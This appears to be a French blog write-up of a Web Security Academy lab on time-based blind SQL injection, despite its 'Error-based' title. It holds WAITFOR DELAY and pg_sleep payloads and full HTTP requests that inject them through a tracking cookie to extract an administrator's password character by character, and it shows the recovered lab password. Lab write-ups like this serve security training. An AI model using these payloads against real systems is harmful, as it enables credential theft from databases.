Error-based SQL injection

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > > Tags:

Description

Parfois, il n’y a pas de différence visible dans les réponses données par l’application. Il est cependant souvent possible d’exploiter une blind SQL injection en jouant sur les temps de réponses afin de vérifier qu’une injection a bien été exécuté.

Exemple

On envoie une injection qui va changer son temps de réponse en fonction de si la fonction est vraie ou non.

‘; IF (1=2) WAITFOR DELAY ‘0:0:10’–
‘; IF (1=1) WAITFOR DELAY ‘0:0:10’–

Dans le premier cas, le temps n’est pas modifié car la condition est FALSE
Dans le deuxième cas, le temps vas être modifié car la condition est TRUE

Il est donc possible d’utiliser cette technique pour trouver le mot de passe d’un utilisateur comme précédemment.

‘; IF (SELECT COUNT(Username) FROM Users WHERE Username = ‘Administrator’ AND SUBSTRING(Password, 1, 1) > ‘m’) = 1 WAITFOR DELAY ‘0:0:{delay}’–

si la premère lettre du mot de passe de l’username ‘Adminitstrator’ est plus grande que m alors le delay ‘delay’ sera appliqué sur le temps de réponse.

Exemple pratique

L’on sait à l’avance que la base de données contient ceci :

Il faut d’abord déterminer le type de base de données pour vérifier si elle est suceptibles d’être injectables :

GET / HTTP/2
Host: 0af3006d0321c44d8068128000520031.web-security-academy.net
Cookie: TrackingId='%3bSELECT%20CASE%20WHEN%20(1%3d1)%20THEN%20pg_sleep(10)%20ELSE%20pg_sleep(10)%20END--; session=GpPcjcMdgtjaKB6bPtr1RsNHAJAMi9W8
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af3006d0321c44d8068128000520031.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Le time delay fonctionne avec une requête postgreSQL.
Je reproduis donc le même type d’attaque que précédemment.

GET / HTTP/2
Host: 0a2d005603a0ba8f824b6bed003900ec.web-security-academy.net
Cookie: TrackingId=ddi6CmNoWHsHCBk61K'%3bSELECT%20CASE%20WHEN%20(%20SUBSTRING((SELECT%20password%20FROM%20users%20WHERE%20username%20%3d%20'administrator')%2c1%  "n"   %2c1)%20%3d%20  'val'  )%20THEN%20pg_sleep(4)%20ELSE%20pg_sleep(0)%20END%20--; session=LHrqJhmimNs3w7YvOUfo1SNvB7QNQdE7
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2d005603a0ba8f824b6bed003900ec.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Je modifie donc la valeur de n afin de me déplacer sur la string password et je la compare à une valeur alphanumérique jusqu’à tombé sur une réponse qui met beaucoup plus de temps à répondre.
ce qui me donne : ‘5nvon5oa5l9a8f28iac8’

NB : il est possible de l’écrire de cette manière ci :

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--